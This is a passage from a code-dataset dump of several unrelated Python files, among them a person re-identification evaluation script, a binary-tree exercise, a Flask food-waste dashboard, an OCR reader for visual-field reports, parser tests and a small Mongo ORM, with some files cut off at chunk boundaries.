= torch.stack(qf)\n q_pids = np.asarray(q_pids)\n q_camids = np.asarray(q_camids)\n\n print(\"Extracted features for query set, obtained {}-by-{} matrix\".format(qf.size(0), qf.size(1)))\n\n gf, g_pids, g_camids = [], [], []\n print('gallery num:' + str(len(galleryloader)))\n\n for batch_idx, (imgs, pids, camids, head_map, body_map, leg_map) in enumerate(galleryloader):\n if batch_idx % 100 == 0:\n print(\"current gallery:\" + str(batch_idx))\n if use_gpu:\n imgs = imgs.cuda()\n # imgs = Variable(imgs, volatile=True)\n b, n, s, c, h, w = imgs.size()\n imgs = imgs.view(b*n, s , c, h, w)\n assert(b==1)\n features = model(imgs, head_map, body_map, leg_map)\n features = features.view(n, -1)\n features = torch.mean(features, 0)\n features = features.data.cpu()\n gf.append(features)\n g_pids.extend(pids)\n g_camids.extend(camids)\n gf = torch.stack(gf)\n g_pids = np.asarray(g_pids)\n g_camids = np.asarray(g_camids)\n\n print(\"Extracted features for gallery set, obtained {}-by-{} matrix\".format(gf.size(0), gf.size(1)))\n print(\"Computing distance matrix\")\n\n m, n = qf.size(0), gf.size(0)\n distmat = torch.pow(qf, 2).sum(dim=1, keepdim=True).expand(m, n) + \\\n torch.pow(gf, 2).sum(dim=1, keepdim=True).expand(n, m).t()\n distmat.addmm_(1, -2, qf, gf.t())\n distmat = distmat.numpy()\n\n print(\"Computing CMC and mAP\")\n cmc, mAP = evaluate(distmat, q_pids, g_pids, q_camids, g_camids)\n\n print(\"Results ----------\")\n print(\"mAP: {:.1%}\".format(mAP))\n print(\"CMC curve\")\n for r in ranks:\n print(\"Rank-{:<3}: {:.1%}\".format(r, cmc[r-1]))\n print(\"------------------\")\n\n return cmc[0]\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Train video models with cross entropy loss')\n # Datasets\n parser.add_argument('-d', '--dataset', type=str, default='mars',\n choices=data_manager.get_names())\n parser.add_argument('-j', '--workers', default=4, type=int,\n help=\"number of data loading workers (default: 4)\")\n parser.add_argument('--height', type=int, default=256,\n help=\"height of an image (default: 224)\")\n parser.add_argument('--width', type=int, default=128,\n help=\"width of an image (default: 112)\")\n parser.add_argument('--seq-len', type=int, default=4, help=\"number of images to sample in a tracklet\")\n # Optimization options\n parser.add_argument('--max-epoch', default=400, type=int,\n help=\"maximum epochs to run\")\n parser.add_argument('--start-epoch', default=0, type=int,\n help=\"manual epoch number (useful on restarts)\")\n parser.add_argument('--train-batch', default=32, type=int,\n help=\"train batch size\")\n parser.add_argument('--test-batch', default=1, type=int, help=\"has to be 1\")\n parser.add_argument('--lr', '--learning-rate', default=0.00035, type=float,\n help=\"initial learning rate, use 0.0001 for rnn, use 0.0003 for pooling and attention\")\n parser.add_argument('--stepsize', default=(100, 200, 300), type=tuple,\n help=\"stepsize to decay learning rate (>0 means this is enabled)\")\n parser.add_argument('--gamma', default=0.1, type=float,\n help=\"learning rate decay\")\n parser.add_argument('--weight-decay', default=5e-04, type=float,\n help=\"weight decay (default: 5e-04)\")\n parser.add_argument('--margin', type=float, default=0.5, help=\"margin for triplet loss\")\n parser.add_argument('--num-instances', type=int, default=4,\n help=\"number of instances per identity\")\n parser.add_argument('--print-freq', type=int, default=10, help=\"print frequency\")\n parser.add_argument('--seed', type=int, default=1, help=\"manual seed\")\n parser.add_argument('--evaluate', default=False, action='store_true', help=\"evaluation only\")\n parser.add_argument('--eval-step', type=int, default=10,\n help=\"run evaluation for every N epochs (set to -1 to test after training)\")\n parser.add_argument('--save-dir', type=str, default='log/final_log')\n parser.add_argument('--use-cpu', action='store_true', help=\"use cpu\")\n parser.add_argument('--gpu-devices', default='4', type=str, help='gpu device ids for CUDA_VISIBLE_DEVICES')\n parser.add_argument('--arch', default='Net', type=str, help='models name')\n parser.add_argument('--warmup_factor', default=0.01, type=float, help='warmup factor')\n parser.add_argument('--warmup_items', default=10, type=int, help='warmup items')\n parser.add_argument('--warmup_method', default='linear', type=str, help='warmup method')\n parser.add_argument('--log_train', default='log_train.txt', type=str, help='train log file name')\n parser.add_argument('--log_test', default='log_test.txt', type=str, help='test log file name')\n parser.add_argument('--model_name', default='checkpoint_ep', type=str, help='model file name')\n parser.add_argument('--feat_dim', default=1024, type=int, help='feature dim is feat_dim x 4')\n parser.add_argument('--a1', default=1, type=int, help='global loss weight')\n parser.add_argument('--a2', default=1, type=int, help='region loss weight')\n parser.add_argument('--a3', default=0.0003, type=int, help='regular loss weight')\n args = parser.parse_args()\n main(args)\n","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":14665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"609507985","text":"# @author Huaze Shen\n# @date 2020-01-25\n\n\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\n\ndef is_balanced(root):\n if root is None:\n return True\n return is_balanced(root.left) and is_balanced(root.right) and abs(depth(root.left) - depth(root.right)) <= 1\n\n\ndef depth(root):\n if root is None:\n return 0\n return max(depth(root.left), depth(root.right)) + 1\n\n\nif __name__ == '__main__':\n root_ = TreeNode(3)\n root_.left = TreeNode(9)\n root_.right = TreeNode(20)\n root_.right.left = TreeNode(15)\n root_.right.right = TreeNode(7)\n print(is_balanced(root_))\n","sub_path":"python/balanced_binary_tree.py","file_name":"balanced_binary_tree.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"426921585","text":"import json\nclass DelStu():\n def __init__(self, socket_client):\n self.socket_client = socket_client\n\n def execute(self):\n try:\n print(\"刪除學生\")\n name = str(input(\" Please input a student's name: \"))\n has_item = False\n student_dict = dict()\n query_student_dict = dict()\n query_student_dict[name] = {}\n\n #先查詢query是否存在此學生名稱\n self.socket_client.send_command(\"query\", query_student_dict)\n print(\"\\nclient send data to server => \\'command\\':{}, \\'parameters\\':{}\".format(\"query\", query_student_dict))\n\n boolean, result = self.socket_client.wait_response()\n result = json.loads(result) # convert dictionary string to dictionary\n if(result['status'] == \"Fail\"):\n print(\"\\nThe name {} is not found\".format(name))\n has_item = False\n success = False\n else:\n student_dict = result['parameters'] #讀取原始所有學生資料\n del student_dict[name]\n has_item = True\n success = True\n\n \n except Exception as e: #若try有錯誤,則執行except\n print(\"The exception {} occurs.\".format(e))\n success = False\n finally: #不管try有沒有錯誤,最後一定會執行final\n if(success == True):\n #=========================== socket_client 傳送指令和資料給server==================\n self.socket_client.send_command(\"del\", student_dict)\n print(\"\\nclient send data to server => \\'command\\':{}, \\'parameters\\':{}\".format(\"del\", student_dict))\n\n boolean, result = self.socket_client.wait_response()\n result = json.loads(result) # convert dictionary string to dictionary\n\n if result['status'] == \"OK\":\n print(\" delete {} success\".format(name))\n print(\"刪除成功\")\n else:\n print(\" delete {} fail\".format(name))\n else:\n print(\"刪除失敗\")\n print(\"Execution result is {}\".format(success))\n return student_dict","sub_path":"pythone_classPractice/week9(inheritance_socket_FullVersion_Optimize)/Week9_Quiz_106360101謝尚泓/Client/DelStu.py","file_name":"DelStu.py","file_ext":"py","file_size_in_byte":2299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"447098668","text":"#!/usr/bin/env python\n\"\"\"\nCompare the TW Hya results with a drift limited distribution\n\"\"\"\nfrom numpy import * #@UnusedWildImport\nfrom constants import * #@UnusedWildImport\nfrom uTILities import dlydlx\nfrom matplotlib.pyplot import * #@UnusedWildImport\nfrom matplotlib.mlab import find\nimport h5py\nimport os\n\nfiles = [\n# '~/Desktop/new_results/sean/deadzone-paper/active_iter1/data_iter1_fixeddisk_AL22_M20_161.mat',\n '~/Desktop/new_results/sean/deadzone-paper/active_iter1/data_iter1_fixeddisk_AL33_M20_161.mat',\n '~/Desktop/new_results/sean/deadzone-paper/active_iter1/data_iter1_fixeddisk_AL44_M20_161.mat',\n '~/Desktop/new_results/sean/deadzone-paper/active_iter1/data_iter1_fixeddisk_AL55_M20_161.mat'\n ]\nTIME = 5e6*year\n#\n# loop through the files and get the necessary data\n#\nSD = []\nR = []\nA = []\nAF = []\nAD = []\nAM = []\nMX = -Inf\nfor filename in files:\n #\n # load the matlab file\n #\n f = h5py.File(os.path.expanduser(filename),'r')\n sigma_g = f['sigma_g_1'][...].transpose()\n sigma_d_1 = f['sigma_d_1'][...].transpose()\n alpha = f['alpha_1'][...].transpose()\n T = f['T_1'][...].transpose()\n v_dust = f['v_dust_1'][...].transpose()\n timesteps = f['timesteps_1'][...].transpose()\n x = f['x_1'][...].flatten()\n a = f['grainsizes_1'][...].flatten()\n m = f['m_grid_1'][...].flatten()\n V_FRAG = f['V_FRAG'][...].flatten()\n T_COAG_START = f['T_COAG_START'][...].flatten()\n RHO_S = f['RHO_S'][...].flatten()\n m_star = f['m_star_1'][...].flatten()\n grains = size(a)\n a_0 = a[0]\n n_r = size(x)\n it = find(timesteps>=TIME)[0]\n E_drift = 1.\n #\n # calculate the size limits\n #\n sigma_d = sum(sigma_d_1[it*grains+arange(grains),:],0)\n fudge_fr = 0.37\n fudge_dr = 0.55\n gamma = dlydlx(x,sigma_g[it])+0.5*dlydlx(x,T[it])-1.5\n a_fr = fudge_fr*2*sigma_g[it,:]*V_FRAG**2./(3*pi*alpha[it]*RHO_S*k_b*T[it]/mu/m_p)\n a_dr = fudge_dr/E_drift*2/pi*sigma_d/RHO_S*x**2.*(Grav*m_star[it]/x**3)/(abs(gamma)*(k_b*T[it]/mu/m_p))\n N = 0.5\n a_df = fudge_fr*2*sigma_g[it]/(RHO_S*pi)*V_FRAG*sqrt(Grav*m_star[it]/x)/(abs(gamma)*k_b*T[it]/mu/m_p*(1.-N))\n mask = a_dr None:\n self.patientInfoRegex = {\n \"Name\": re.compile(\"Patient:\\s*(.*)\\s*\"),\n \"Birth\": re.compile(\"Date of Birth:\\s*(.*)\\s*\"),\n \"Gender\": re.compile(\"Gender:\\s*(.*)\"),\n \"ID\": re.compile(\"Patient ID:\\s*(.*)\"),\n #\"FIXMON\": re.compile(\"Fixation Monitor: (.*)\"),\n #\"FIXTAR\": re.compile(\"Fixation Target: (.*)\"),\n }\n self.resultInfoRegex = {\n \"GHT\": re.compile(\"GHT.*:(.*)\"),\n \"VFI\": re.compile(\"VFI.*:(.*)\"),\n \"MD\": re.compile(\"MD.*:(.*)dB\"),\n \"MDp\": re.compile(\"MD.*(P\\s*<\\s*.*%)\"),\n \"PSD\": re.compile(\"PSD.*:(.*)dB\"),\n \"PSDp\": re.compile(\"PSD.*(P\\s*<\\s*.*%)\"),\n }\n self.patternRegex = re.compile(\"24-2|30-2|10-2\")\n self.fieldLocations = {\n \"FIXLOS\": (400, 465, 650, 495),\n \"FPR\": (400, 495, 650, 525),\n \"Duration\": (400, 550, 650, 585),\n \"FNR\": (400, 525, 650, 555),\n \"Fovea\": (400, 590, 650, 620),\n \"Stimulus\": (1000, 405, 1250, 435),\n \"Date\": (1380, 405, 1650, 435),\n \"Background\": (1000, 435, 1250, 465),\n \"Time\": (1380, 435, 1650, 465),\n \"Strategy\": (1000, 465, 1250, 495),\n }\n self.ageLocation = (1380, 465, 1430, 495)\n self.values = {}\n self.numdB_pattern = re.compile('FIELD\\s*(\\S*)\\s*FIELD')\n self.numdB_aux = Image.open(\"numdB_aux.png\")\n def pdf_to_img(self, pdf_file):\n \"\"\"Converts a .pdf file to an Image\n\n Args:\n pdf_file (str): The path to the file\n\n Returns:\n List: The pages of the pdf file\n \"\"\"\n return pdf2image.convert_from_path(pdf_file, poppler_path= Constants.POPPLER_PATH, use_cropbox= False)\n\n def ocr_num(self, image):\n \"\"\"Extracts the text from a preprocessed image of a numeric dB graph value.\n\n Due to the limitations of Pytesseract, different configurations were needed for short numerical values.\n\n Args:\n image (Image): The input image\n\n Returns:\n str: The text inside the image\n \"\"\"\n text = pytesseract.image_to_string(image, config= \"--psm 7 -c tessedit_char_whitelist=FIELD-<0123456789\")\n return text\n\n def ocr_core(self, file):\n \"\"\"Extracts the text from an image.\n\n Args:\n image (Image): The input image\n\n Returns:\n str: The text inside the image\n \"\"\"\n text = pytesseract.image_to_string(file)\n return text\n\n def readImage(self, dir, filename):\n \"\"\"Extracts the information from an VFT report\n\n We assumed that all information fields will be in the same relative location for all reports.\n The method first resizes the image to the same size as our test data. Secondly, several parts\n of the image are cropped and passed to the OCR engine to extract the information. Finally, the \n information are combined into a VFTReport object, which will be returned by the method.\n\n Note:\n Short numeric values, such as the patient's age, and values in numeric dB graphs are treated\n differently than normal strings. See readNum for how we processes these values\n\n Args:\n dir (str): The directory leading to the file.\n filename (str): The name of the file.\n\n Returns:\n VFTReport: The VFT report in the image.\n \"\"\"\n filepath = os.path.join(dir, filename)\n if filename.endswith(\".Pdf\") or filename.endswith(\".pdf\"):\n images = self.pdf_to_img(filepath)\n img = images[0]\n else:\n img = Image.open(filepath)\n #Resize image\n img =img.resize((1655, 2340))\n arr = np.array(img)\n\n #Crop regions of interests\n sensGraph = img.crop((361, 622, 852, 1115))\n MDGraph = img.crop((190, 1090, 518, 1416))\n PSDGraph = img.crop((700, 1090, 1028, 1416))\n resultInfo = img.crop((1100, 1250, 1600, 1550))\n eyeLabel = img.crop((200, 320, 255, 380))\n patientInfo = img.crop((0, 0, 910, 230)) \n patternInfo = img.crop((910, 320, 1650, 380))\n \n #Extract text from cropped regions\n self.values[\"Pattern\"] = self.patternRegex.search(self.ocr_core(patternInfo)).group(0)\n patientInfoText = self.ocr_core(patientInfo)\n resultInfoText = self.ocr_core(resultInfo)\n print(patientInfoText)\n print(resultInfoText)\n \n #Extract information from raw text using regular expressions\n for k, v in self.patientInfoRegex.items():\n try:\n self.values[k] = v.search(patientInfoText).group(1).strip()\n except AttributeError:\n self.values[k] = \"\"\n for k, v in self.resultInfoRegex.items():\n try:\n self.values[k] = v.search(resultInfoText).group(1).strip()\n except AttributeError:\n self.values[k] = \"\"\n for k, v in self.fieldLocations.items(): \n fieldImg = img.crop(v)\n self.values[k] = self.ocr_core(fieldImg).strip()\n\n self.values[\"Age\"] = self.readNum(img.crop(self.ageLocation))\n\n eyeLabel = eyeLabel.convert(\"1\")\n eye = self.ocr_core(eyeLabel)\n if \"os\" in eye.lower():\n eye = \"Left\"\n elif \"od\" in eye.lower():\n eye= \"Right\"\n else:\n eye = \"\"\n \n sensGraph_arr = np.array(sensGraph)\n MDGraph_arr = np.array(MDGraph) \n PSDGraph_arr = np.array(PSDGraph)\n\n #FIXLOS and FIXTST gets special treatment due to FIXTST needing to be interpreted from Fixation Losses\n try:\n FIXLOS, FIXTST = self.values[\"FIXLOS\"].split(\"/\")\n except ValueError:\n FIXLOS = self.values[\"FIXLOS\"]\n FIXTST = \"\"\n return VFTReport(filename,self.values[\"Name\"], eye, self.values[\"Date\"] + \" \" + self.values[\"Time\"], self.values[\"Age\"], self.values[\"Birth\"], self.values[\"ID\"], FIXLOS, FIXTST, self.values[\"FNR\"], self.values[\"FPR\"], self.values[\"Duration\"],self.values[\"GHT\"], self.values[\"VFI\"], self.values[\"MD\"], self.values[\"MDp\"], self.values[\"PSD\"], self.values[\"PSDp\"], self.values[\"Pattern\"], self.values[\"Strategy\"], self.values[\"Stimulus\"], self.values[\"Background\"], self.values[\"Fovea\"] ,self.image2data(sensGraph_arr), self.image2data(MDGraph_arr), self.image2data(PSDGraph_arr), 0)\n\n def image2data(self, image:np.array):\n \"\"\"Converts an image of a numeric dB graph to its representation inside the application.\n\n During our development, we noticed that the accuracy of the OCR engine was very poor\n for the numeric dB graphs. Therefore special treatment was needed to enhance the accuracy.\n\n The method first remove the axis from the graphs. Then it splits the image to a 10 x 10 grid.\n Then for each cell in the grid, the number in the cell is read.\n\n Args:\n image (np.array): The image of the numeric dB graph\n\n Returns:\n List[List[str]]: A 10 x 10 matrix containing the values\n \"\"\"\n #Crops the axis from the image\n image[(floor(image.shape[1]/2)-6):(floor(image.shape[1]/2)+6),:] = 255\n image[:, (floor(image.shape[0]/2)-6):(floor(image.shape[0]/2)+6)] = 255\n \n index = 0\n #Initialize an empty array\n arr = [[0 for i in range(10)] for j in range(10)]\n\n for i in range(10):\n for j in range(10):\n #Crops a region in the graph\n val_img = Image.fromarray(image[floor(i * image.shape[0] / 10):floor((i+1) * image.shape[0] / 10),floor(j * image.shape[1] / 10):floor((j+1) * image.shape[1] / 10)])\n arr[i][j] = self.readNum(val_img)\n for i in arr:\n print(i)\n print(\"\\n\"*3)\n\n return arr\n def readNum(self, numImg):\n \"\"\"Reads a short number from an image\n\n From our experimentation, we found out that Pytesseract performs very poorly on short numerical strings,\n especially negative numbers. The main idea of this method was that Pytesseract performs better on longer strings.\n\n The method first combine the image of the number with the auxiliary image, located in numdB_aux.png. Then \n the combined image is passed to the OCR engine to extract the text. Finally, the number is filtered from \n the text using regular expressions\n\n Args:\n numImg (Image): The image of a number\n\n Returns:\n str: The number inside the image\n \"\"\"\n numImg.resize((50, 50))\n images = [self.numdB_aux.copy(), numImg, self.numdB_aux.copy()]\n widths, heights = zip(*(i.size for i in images))\n\n total_width = sum(widths)\n max_height = max(heights)\n new_im = Image.new('RGB', (total_width, max_height), color=\"white\")\n \n x_offset = 0\n for im in images:\n y_offset = floor((50 - im.height)/2)\n new_im.paste(im, (x_offset,y_offset))\n x_offset += im.size[0]\n\n match = self.numdB_pattern.search(self.ocr_num(new_im))\n if match and match.group(1) != \"-\":\n num = match.group(1)\n else:\n num = \"\"\n return num\n\n def grid(self, image):\n \"\"\"Debugging tool. Shows a 10 x 10 grid on an image\n\n Args:\n image (Any): The input image\n \"\"\"\n for i in range(10):\n image[floor(image.shape[1]/10 * i) ,:] = 0\n image[:,floor(image.shape[0]/10 * i)] = 0\n \n Image.fromarray(image).show()","sub_path":"reader/HFAv3Reader.py","file_name":"HFAv3Reader.py","file_ext":"py","file_size_in_byte":10575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"471504800","text":"import pytest\n\nfrom easydata import parsers\nfrom easydata.queries import key, pq\nfrom tests.factory import data_dict, data_text\n\n\n@pytest.mark.parametrize(\n \"query, test_data, result\",\n [\n (key(\"stock\"), data_dict.stock, True),\n (key(\"stock2\"), data_dict.stock, False),\n ],\n)\ndef test_bool(query, test_data, result):\n bool_parser = parsers.Bool(query)\n assert bool_parser.parse(test_data) is result\n\n\n@pytest.mark.parametrize(\n \"test_data, result\",\n [\n (123, True),\n (123.45, True),\n (0.15, True),\n (-0.15, True),\n (0, False),\n (\"True\", True),\n (\"False\", False),\n (\"true\", True),\n (\"false\", False),\n ],\n)\ndef test_bool_various_types(test_data, result):\n assert parsers.Bool().parse(test_data) is result\n\n\n@pytest.mark.parametrize(\n \"test_data, result\",\n [\n (123, False),\n (123.45, False),\n (0.15, False),\n (-0.15, False),\n (0, True),\n (\"True\", False),\n (\"False\", True),\n (\"true\", False),\n (\"false\", True),\n ],\n)\ndef test_ibool_various_types(test_data, result):\n assert parsers.IBool().parse(test_data) is result\n\n\n@pytest.mark.parametrize(\n \"contains_keys, test_data, result\",\n [\n ([\"pro 13\"], data_text.title, True),\n ([\"something\", \"pro 13\"], data_text.title, True),\n ([\"pros 13\"], data_text.title, False),\n ],\n)\ndef test_bool_contains(contains_keys, test_data, result):\n bool_parser = parsers.Bool(contains=contains_keys)\n assert bool_parser.parse(test_data) is result\n\n\n@pytest.mark.parametrize(\n \"ccontains_keys, test_data, result\",\n [\n ([\"Pro 13\"], data_text.title, True),\n ([\"something\", \"Pro 13\"], data_text.title, True),\n ([\"pro 13\"], data_text.title, False),\n ],\n)\ndef test_bool_contains_case(ccontains_keys, test_data, result):\n bool_parser = parsers.Bool(ccontains=ccontains_keys)\n assert bool_parser.parse(test_data) is result\n\n\n@pytest.mark.parametrize(\n \"query, contains_query, test_data, result\",\n [\n (pq(\"#full-name::text\"), pq(\".brand::text\"), \"Easybook Pro 13\", False),\n (pq(\"#full-name::text\"), pq(\".brand::text-items\"), \"Easybook Pro 13\", False),\n ],\n)\ndef test_bool_contains_query(query, contains_query, test_data, result):\n bool_parser = parsers.Bool(query, contains_query=contains_query)\n assert bool_parser.parse(test_data) is result\n","sub_path":"tests/parsers/test_bool.py","file_name":"test_bool.py","file_ext":"py","file_size_in_byte":2439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"136916590","text":"# -*- encoding: utf-8 -*-\n\"\"\"\nCopyright (c) 2019 - present AppSeed.us\n\"\"\"\nfrom flask import Flask\nfrom flask import render_template, redirect, url_for, request,jsonify\nfrom jinja2 import TemplateNotFound\nfrom google.cloud import bigquery\nimport json\nimport pandas as pd\nimport sys\nimport plotly.graph_objects as go\nfrom plotly.subplots import make_subplots\nimport plotly\n\napp = Flask(__name__)\n\ndef waste_table():\n unitdict = {\"lb\":1, \"cup\":0.53,\"tbsp\":0.03,\"tsp\":0.013,\"oz\":0.06}\n client = bigquery.Client()\n demand = (\n 'SELECT * FROM `food-waste-329921.Foodwaste.Demand`;'\n )\n inventory = (\n 'SELECT * FROM `food-waste-329921.Foodwaste.Inventory`;'\n )\n predicted = (\n 'SELECT * FROM `food-waste-329921.Foodwaste.Predicted`;'\n )\n recipe = (\n 'SELECT * FROM `food-waste-329921.Foodwaste.Recipe`;'\n )\n\n Demand = client.query(demand).to_dataframe().sort_values(by=['Date', 'Recipe'])\n Inventory = client.query(inventory).to_dataframe()\n Predicted = client.query(predicted).to_dataframe().sort_values(by=['Date', 'ITEM'])\n Recipe = client.query(recipe).to_dataframe()\n diff=Predicted['Predicted_Servings']-Demand['Quantity']\n leftoverdf=Demand.copy()\n leftoverdf['Quantity']=diff\n qtyleft_dfs=[]\n\n for i in range(len(leftoverdf)):\n recipe_i = leftoverdf.Recipe[i] \n recip=Recipe[Recipe['Recipe_Name']==recipe_i]\n divid=leftoverdf['Quantity'][i]/recip['Servings'].unique()[0]\n df_i = pd.DataFrame(data={\"ingredient\":recip['Ingredients'],\"qtywasted\":divid,\"unit\":recip['Unit']})\n qtyleft_dfs.append(df_i)\n dfwasted = pd.concat(qtyleft_dfs,ignore_index=True).sort_values(by=['ingredient'])\n dfwasted1=dfwasted.groupby('ingredient')['qtywasted'].sum().reset_index()\n dfwasted1['ingredient']=dfwasted1['ingredient'].str.lower()\n dfwasted1['unit']=dfwasted['unit']\n dfwasted1['qtywasted_converted'] = [dfwasted1['qtywasted'][i]*unitdict[dfwasted1['unit'][i]] for i in range(len(dfwasted1))]\n moneywasted=[]\n percentage=[]\n for i in range(len(dfwasted1)):\n #print(dfwasted1['ingredient'][i])\n tyu=Inventory[Inventory['Product']==dfwasted1['ingredient'][i]]\n moneywasted.append(float(dfwasted1['qtywasted_converted'][i]*tyu['Unit_Price__']))\n percentage.append(float((dfwasted1['qtywasted_converted'][i]*100)/tyu['Count_No']))\n moneyinvent=pd.DataFrame(data={'ingredient':dfwasted1.ingredient,'qtywasted':dfwasted1.qtywasted_converted,'moneywasted':moneywasted,'percentage':percentage})\n moneyinvent = moneyinvent.sort_values(by=[\"percentage\"])\n moneyinvent = moneyinvent.round(2)\n return moneyinvent\n\ndef plot():\n df = waste_table()\n df.sort_values(by=['percentage'], inplace=True,ascending=False)\n df['percentage']= df['percentage'].astype(float)\n df['unused'] = 100 -df['percentage']\n\n labels = [\"Wasted\",\"Used\"]\n # Create subplots: use 'domain' type for Pie subplot\n fig = make_subplots(rows=2, cols=3, specs=[[{'type':'domain'},{'type':'domain'},{'type':'domain'}],[{'type':'domain'},{'type':'domain'},{'type':'domain'}]])\n value = [[float(df['percentage'][i]),float(df['unused'][i])] for i in range(6)]\n\n for i in range(6):\n row = 1 if i<3 else 2\n column = 1+i if i<3 else i-2 \n fig.add_trace(go.Pie(labels=labels, values=value[i], name=df['ingredient'][i]), row, column)\n\n fig.update_traces(hole=.4, hoverinfo=\"label+percent+name\")\n fig.update_layout(\n title_text=\"Top 6 Food Wasted\",\n # Add annotations in the center of the donut pies.\n annotations=[\n dict(text=df['ingredient'][0], x=0.12, y=0.8, font_size=10, showarrow=False),\n dict(text=df['ingredient'][1], x=0.50, y=0.8, font_size=10, showarrow=False),\n dict(text=df['ingredient'][2], x=0.89, y=0.8, font_size=10, showarrow=False),\n dict(text=df['ingredient'][3], x=0.12, y=0.2, font_size=10, showarrow=False),\n dict(text=df['ingredient'][4], x=0.50, y=0.2, font_size=10, showarrow=False),\n dict(text=df['ingredient'][5], x=0.89, y=0.2, font_size=10, showarrow=False) \n ])\n graphJSON = json.dumps(fig, cls=plotly.utils.PlotlyJSONEncoder)\n return graphJSON\n\n@app.route('/')\ndef index():\n graphJSON = plot()\n return render_template('index.html', segment='index',graphJSON = graphJSON)\n\n@app.route('/table')\ndef table():\n try:\n # if not template.endswith( '.html' ):\n # template += '.html'\n\n # Detect the current page\n print(\"here\")\n segment = get_segment( request )\n table = waste_table()\n \n # parsing the DataFrame in json format.\n json_records = table.reset_index().to_json(orient ='records')\n data = []\n data = json.loads(json_records)\n print(data)\n # context = {'d': data}\n return render_template('table.html', table=data)\n\n except TemplateNotFound:\n return render_template('page-404.html'), 404\n \n except:\n return render_template('page-500.html'), 500\n\n@app.route('/gettable',methods=['GET'])\ndef gettable():\n table = waste_table()\n print(\"here0\",table.head())\n leftoverdf = table[['ingredient','qtywasted']]\n print(\"here\",leftoverdf.head())\n\n # parsing the DataFrame in json format.\n json_records = leftoverdf.reset_index().to_json(orient ='records')\n data = []\n data = json.loads(json_records)\n response = jsonify(message= data)\n response.headers.add(\"Access-Control-Allow-Origin\",\"*\")\n return response \n\n\n# Helper - Extract current page name from request \ndef get_segment( request ): \n try:\n segment = request.path.split('/')[-1]\n if segment == '':\n segment = 'index'\n\n return segment \n except:\n return None \n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0',port=8080)","sub_path":"flask_api/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"17596395","text":"import yaml\n\nfrom mtxapi.api.Base_Api import Base_Api\nimport os\n\nclass Mtx_Login(Base_Api):\n # fpath = os.path()+'../data/mtx_login.yml'\n # fpath = os.path.abspath(os.path.dirname(os.getcwd())) + '/data/mtx_login.yml'\n with open('/Users/chenjinfei/project/pythonProject/mtxapi/data/mtx_login.yml') as f:\n data = yaml.load(f,Loader=yaml.FullLoader)\n\n def login(self,accounts,pwd):\n path = '/mtx/index.php?s=/index/user/login.html'\n data = {\n 'accounts': accounts,\n 'pwd': pwd\n }\n res = self.mtx_post(path,data)\n return res\n\nif __name__ == '__main__':\n obj = Mtx_Login()\n obj.login()\n","sub_path":"mtxapi/api/Mtx_Login.py","file_name":"Mtx_Login.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"76693898","text":"import logging\n\nfrom typing import Callable\n\nfrom ...base_handler import BaseHandler\n\n# from ..messages.connection_invitation import ConnectionInvitation\n\n\nclass ConnectionInvitationHandler(BaseHandler):\n def __init__(self, message: \"ConnectionInvitation\") -> None:\n self.logger = logging.getLogger(__name__)\n self.message = message\n\n def handle(self, thread_state):\n self.logger.debug(\n \"ConnectionInvitationHandler called with thread_state \" + f\"{thread_state}\"\n )\n","sub_path":"agent/indy_catalyst_agent/messaging/connections/handlers/connection_invitation_handler.py","file_name":"connection_invitation_handler.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"237587198","text":"#coding:utf-8\nimport bson\nfrom query import QueryManager\nclass BaseField(object):\n\n\n def __init__(self, **kwargs):\n\n required=kwargs[\"required\"] if \"required\" in kwargs else False\n default=kwargs['default'] if \"default\" in kwargs else None\n self.required = required\n self.default = default\n name=kwargs['name'] if \"name\" in kwargs else None\n self.name=name\n\n\n def __get__(self, doc_instance, owner):\n if doc_instance is None:return self\n value=doc_instance.doc_data.get(self.name,None)\n if value is None:\n return self.default\n return value\n\n\n def __set__(self, instance, value):\n instance.doc_data[self.name]=value\n\n def python_value(self,value):\n return value\n\n def db_value(self,value):\n return self.python_value(value)\n\n def validate(self,value):\n pass\n\nclass ObjectIdField(BaseField):\n\n def python_value(self,value):\n #return str(value)\n return value\n\n def db_value(self,value):\n if isinstance(value,bson.objectid.ObjectId):\n return value\n else:\n return bson.objectid.ObjectId(value)\n\n def validate(self,value):\n if not isinstance(value,bson.objectid.ObjectId):\n raise ValueError(\"Invalid ObjectId\")\n\n\nclass BaseMetaclass(type):\n \"\"\"Metaclass for all documents.\n \"\"\"\n\n def __new__(cls, name, bases, attrs):\n metaclass = attrs.get('__metaclass__')\n #super_new = super(ModelMetaclass, cls).__new__\n if metaclass and issubclass(metaclass, BaseMetaclass):\n return type.__new__(cls, name, bases, attrs)\n return type.__new__(cls, name, bases, attrs)\n\n\nclass ModelMetaclass(BaseMetaclass):\n\n\n def __new__(cls, name, bases, attrs):\n\n if attrs.get('__metaclass__') == ModelMetaclass:\n return BaseMetaclass.__new__(cls, name, bases, attrs)\n collection = name.lower()\n attrs['_collection'] = collection\n attrs['_id'] = ObjectIdField(name=\"id\")\n doc_fields = {}\n class_name = [name]\n\n for base_class in bases:\n if hasattr(base_class, '_fields'):\n doc_fields.update(base_class._fields)\n class_name.append(base_class.class_name)\n\n attrs['class_name'] = '.'.join(reversed(class_name))\n\n for attr_name, attr_value in attrs.items():\n if hasattr(attr_value, \"__class__\") and \\\n issubclass(attr_value.__class__, BaseField): #判断是不是继承BaseField的子类,因为这是我们要用的数据,每个field相当于json里面的一个key\n\n if not attr_value.name:\n attr_value.name = attr_name\n doc_fields[attr_name] = attr_value\n 